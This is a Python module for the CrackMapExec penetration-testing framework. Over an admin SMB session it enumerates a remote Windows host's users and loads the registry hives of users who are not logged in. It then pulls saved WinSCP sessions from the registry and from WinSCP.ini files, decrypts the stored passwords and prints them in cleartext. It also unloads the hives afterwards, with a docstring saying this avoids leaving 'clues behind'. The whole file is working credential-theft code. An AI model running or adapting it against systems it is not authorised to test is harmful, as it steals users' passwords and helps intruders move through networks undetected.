423 lines
18 KiB
Python
423 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
|
|
# References and inspiration:
|
|
# - https://github.com/anoopengineer/winscppasswd
|
|
# - https://github.com/dzxs/winscppassword
|
|
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
|
|
|
|
import traceback
|
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
from impacket.dcerpc.v5 import rrp
|
|
from impacket.examples.secretsdump import RemoteOperations
|
|
from urllib.parse import unquote
|
|
from io import BytesIO
|
|
import re
|
|
import configparser
|
|
|
|
|
|
class CMEModule:
|
|
'''
|
|
Module by @NeffIsBack
|
|
'''
|
|
name = 'winscp'
|
|
description = 'Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.'
|
|
supported_protocols = ['smb']
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
"""
|
|
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
|
|
|
|
REQUIRES ADMIN PRIVILEGES:
|
|
As Default the script looks into the registry and searches for WinSCP.ini files in
|
|
\"C:\\Users\\{USERNAME}\\Documents\\WinSCP.ini\" and in
|
|
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
|
|
for every user found on the System.
|
|
"""
|
|
if 'PATH' in module_options:
|
|
self.filepath = module_options['PATH']
|
|
else:
|
|
self.filepath = ""
|
|
|
|
self.PW_MAGIC = 0xA3
|
|
self.PW_FLAG = 0xFF
|
|
self.share = 'C$'
|
|
self.userDict = {}
|
|
|
|
# ==================== Helper ====================
|
|
def printCreds(self, context, session):
|
|
if type(session) is str:
|
|
context.log.error(session)
|
|
else:
|
|
context.log.highlight("======={s}=======".format(s=session[0]))
|
|
context.log.highlight("HostName: {s}".format(s=session[1]))
|
|
context.log.highlight("UserName: {s}".format(s=session[2]))
|
|
context.log.highlight("Password: {s}".format(s=session[3]))
|
|
|
|
def userObjectToNameMapper(self, context, connection, allUserObjects):
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
for userObject in allUserObjects:
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
|
|
keyHandle = ans['phkResult']
|
|
|
|
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
self.userDict[userObject] = userProfilePath.split('\\')[-1]
|
|
finally:
|
|
remoteOps.finish()
|
|
|
|
# ==================== Decrypt Password ====================
|
|
def decryptPasswd(self, host: str, username: str, password: str) -> str:
|
|
key = username + host
|
|
|
|
# transform password to bytes
|
|
passBytes = []
|
|
for i in range(len(password)):
|
|
val = int(password[i], 16)
|
|
passBytes.append(val)
|
|
|
|
pwFlag, passBytes = self.dec_next_char(passBytes)
|
|
pwLength = 0
|
|
|
|
# extract password length and trim the passbytes
|
|
if pwFlag == self.PW_FLAG:
|
|
_, passBytes = self.dec_next_char(passBytes)
|
|
pwLength, passBytes = self.dec_next_char(passBytes)
|
|
else:
|
|
pwLength = pwFlag
|
|
to_be_deleted, passBytes = self.dec_next_char(passBytes)
|
|
passBytes = passBytes[to_be_deleted * 2:]
|
|
|
|
# decrypt the password
|
|
clearpass = ""
|
|
for i in range(pwLength):
|
|
val, passBytes = self.dec_next_char(passBytes)
|
|
clearpass += chr(val)
|
|
if pwFlag == self.PW_FLAG:
|
|
clearpass = clearpass[len(key):]
|
|
return clearpass
|
|
|
|
def dec_next_char(self, passBytes) -> tuple[int, bytes]:
|
|
"""
|
|
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
|
Parameters
|
|
----------
|
|
passBytes : bytes
|
|
The password bytes
|
|
"""
|
|
if not passBytes:
|
|
return 0, passBytes
|
|
a = passBytes[0]
|
|
b = passBytes[1]
|
|
passBytes = passBytes[2:]
|
|
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes
|
|
|
|
# ==================== Handle Registry ====================
|
|
def registrySessionExtractor(self, context, connection, userObject, sessionName):
|
|
"""
|
|
Extract Session information from registry
|
|
"""
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName)
|
|
keyHandle = ans['phkResult']
|
|
|
|
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0])
|
|
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0]
|
|
try:
|
|
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0]
|
|
except:
|
|
context.log.debug("Session found but no Password is stored!")
|
|
password = ""
|
|
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
|
|
if password:
|
|
decPassword = self.decryptPasswd(hostName, userName, password)
|
|
else:
|
|
decPassword = "NO_PASSWORD_FOUND"
|
|
sectionName = unquote(sessionName)
|
|
return [sectionName, hostName, userName, decPassword]
|
|
except:
|
|
traceback.print_exc()
|
|
finally:
|
|
remoteOps.finish()
|
|
return "ERROR IN SESSION EXTRACTION"
|
|
|
|
def findAllLoggedInUsersInRegistry(self, context, connection):
|
|
"""
|
|
Checks whether User already exist in registry and therefore are logged in
|
|
"""
|
|
userObjects = []
|
|
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
# Enumerate all logged in and loaded Users on System
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
|
keyHandle = ans['phkResult']
|
|
|
|
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
users = data['lpcSubKeys']
|
|
|
|
# Get User Names
|
|
userNames = []
|
|
for i in range(users):
|
|
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
|
|
# Filter legit users in regex
|
|
userNames.remove('.DEFAULT')
|
|
regex = re.compile(r'^.*_Classes$')
|
|
userObjects = [i for i in userNames if not regex.match(i)]
|
|
except:
|
|
context.log.error("Error handling Users in registry")
|
|
traceback.print_exc()
|
|
finally:
|
|
remoteOps.finish()
|
|
return userObjects
|
|
|
|
def findAllUsers(self, context, connection):
|
|
"""
|
|
Find all User on the System in HKEY_LOCAL_MACHINE
|
|
"""
|
|
userObjects = []
|
|
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
# Enumerate all Users on System
|
|
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList')
|
|
keyHandle = ans['phkResult']
|
|
|
|
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
users = data['lpcSubKeys']
|
|
|
|
# Get User Names
|
|
for i in range(users):
|
|
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
except:
|
|
context.log.error("Error handling Users in registry")
|
|
traceback.print_exc()
|
|
finally:
|
|
remoteOps.finish()
|
|
return userObjects
|
|
|
|
def loadMissingUsers(self, context, connection, unloadedUserObjects):
|
|
"""
|
|
Extract Information for not logged in Users and then loads them into registry.
|
|
"""
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
for userObject in unloadedUserObjects:
|
|
# Extract profile Path of NTUSER.DAT
|
|
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
|
|
keyHandle = ans['phkResult']
|
|
|
|
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
|
|
# Load Profile
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
|
keyHandle = ans['phkResult']
|
|
|
|
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
|
|
rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT")
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
finally:
|
|
remoteOps.finish()
|
|
|
|
def unloadMissingUsers(self, context, connection, unloadedUserObjects):
|
|
"""
|
|
If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind...
|
|
"""
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
# Unload Profile
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
|
keyHandle = ans['phkResult']
|
|
|
|
for userObject in unloadedUserObjects:
|
|
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
|
try:
|
|
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
|
|
except:
|
|
traceback.print_exc()
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
finally:
|
|
remoteOps.finish()
|
|
|
|
def checkMasterpasswordSet(self, connection, userObject):
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
|
|
keyHandle = ans['phkResult']
|
|
|
|
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1]
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
finally:
|
|
remoteOps.finish()
|
|
return useMasterPassword
|
|
|
|
def registryDiscover(self, context, connection):
|
|
context.log.info("Looking for WinSCP creds in Registry...")
|
|
try:
|
|
remoteOps = RemoteOperations(connection.conn, False)
|
|
remoteOps.enableRegistry()
|
|
|
|
# Enumerate all Users on System
|
|
userObjects = self.findAllLoggedInUsersInRegistry(context, connection)
|
|
allUserObjects = self.findAllUsers(context, connection)
|
|
self.userObjectToNameMapper(context, connection, allUserObjects)
|
|
|
|
# Users which must be loaded into registry:
|
|
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
|
|
self.loadMissingUsers(context, connection, unloadedUserObjects)
|
|
|
|
# Retrieve how many sessions are stored in registry from each UserObject
|
|
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
|
regHandle = ans['phKey']
|
|
for userObject in allUserObjects:
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions')
|
|
keyHandle = ans['phkResult']
|
|
|
|
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
sessions = data['lpcSubKeys']
|
|
context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject]))
|
|
|
|
# Get Session Names
|
|
sessionNames = []
|
|
for i in range(sessions):
|
|
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
|
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
sessionNames.remove('Default%20Settings')
|
|
|
|
if self.checkMasterpasswordSet(connection, userObject):
|
|
context.log.error("MasterPassword set! Aborting extraction...")
|
|
continue
|
|
# Extract stored Session infos
|
|
for sessionName in sessionNames:
|
|
self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName))
|
|
except DCERPCException as e:
|
|
if str(e).find('ERROR_FILE_NOT_FOUND'):
|
|
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
|
|
except Exception:
|
|
context.log.error("Unexpected error:")
|
|
traceback.print_exc()
|
|
self.unloadMissingUsers(context, connection, unloadedUserObjects)
|
|
except DCERPCException as e:
|
|
# Error during registry query
|
|
if str(e).find('rpc_s_access_denied'):
|
|
context.log.error("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
|
|
except:
|
|
context.log.error("UNEXPECTED ERROR:")
|
|
traceback.print_exc()
|
|
finally:
|
|
remoteOps.finish()
|
|
|
|
# ==================== Handle Configs ====================
|
|
def decodeConfigFile(self, context, confFile):
|
|
config = configparser.RawConfigParser(strict=False)
|
|
config.read_string(confFile)
|
|
|
|
# Stop extracting creds if Master Password is set
|
|
if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1):
|
|
context.log.error("Master Password Set, unable to recover saved passwords!")
|
|
return
|
|
|
|
for section in config.sections():
|
|
if config.has_option(section, 'HostName'):
|
|
hostName = unquote(config.get(section, 'HostName'))
|
|
userName = config.get(section, 'UserName')
|
|
if config.has_option(section, 'Password'):
|
|
encPassword = config.get(section, 'Password')
|
|
decPassword = self.decryptPasswd(hostName, userName, encPassword)
|
|
else:
|
|
decPassword = "NO_PASSWORD_FOUND"
|
|
sectionName = unquote(section)
|
|
self.printCreds(context, [sectionName, hostName, userName, decPassword])
|
|
|
|
def getConfigFile(self, context, connection):
|
|
if self.filepath:
|
|
self.share = (self.filepath.split(':')[0] + "$")
|
|
path = self.filepath.split(':')[1]
|
|
|
|
try:
|
|
buf = BytesIO()
|
|
connection.conn.getFile(self.share, path, buf.write)
|
|
confFile = buf.getvalue().decode()
|
|
context.log.success("Found config file! Extracting credentials...")
|
|
self.decodeConfigFile(context, confFile)
|
|
except:
|
|
context.log.error("Error! No config file found at {}".format(self.filepath))
|
|
traceback.print_exc()
|
|
else:
|
|
context.log.info("Looking for WinSCP creds in User documents and AppData...")
|
|
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
|
users = []
|
|
for row in output.split('\r\n'):
|
|
users.append(row.strip())
|
|
users = users[2:]
|
|
|
|
# Iterate over found users and default paths to look for WinSCP.ini files
|
|
for user in users:
|
|
paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
|
|
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")]
|
|
for path in paths:
|
|
confFile = ""
|
|
try:
|
|
buf = BytesIO()
|
|
connection.conn.getFile(self.share, path, buf.write)
|
|
confFile = buf.getvalue().decode()
|
|
context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path))
|
|
except:
|
|
context.log.debug("No config file found at \"{}\"".format(self.share + path))
|
|
if confFile:
|
|
self.decodeConfigFile(context, confFile)
|
|
|
|
def on_admin_login(self, context, connection):
|
|
if not self.filepath:
|
|
self.registryDiscover(context, connection)
|
|
self.getConfigFile(context, connection)
|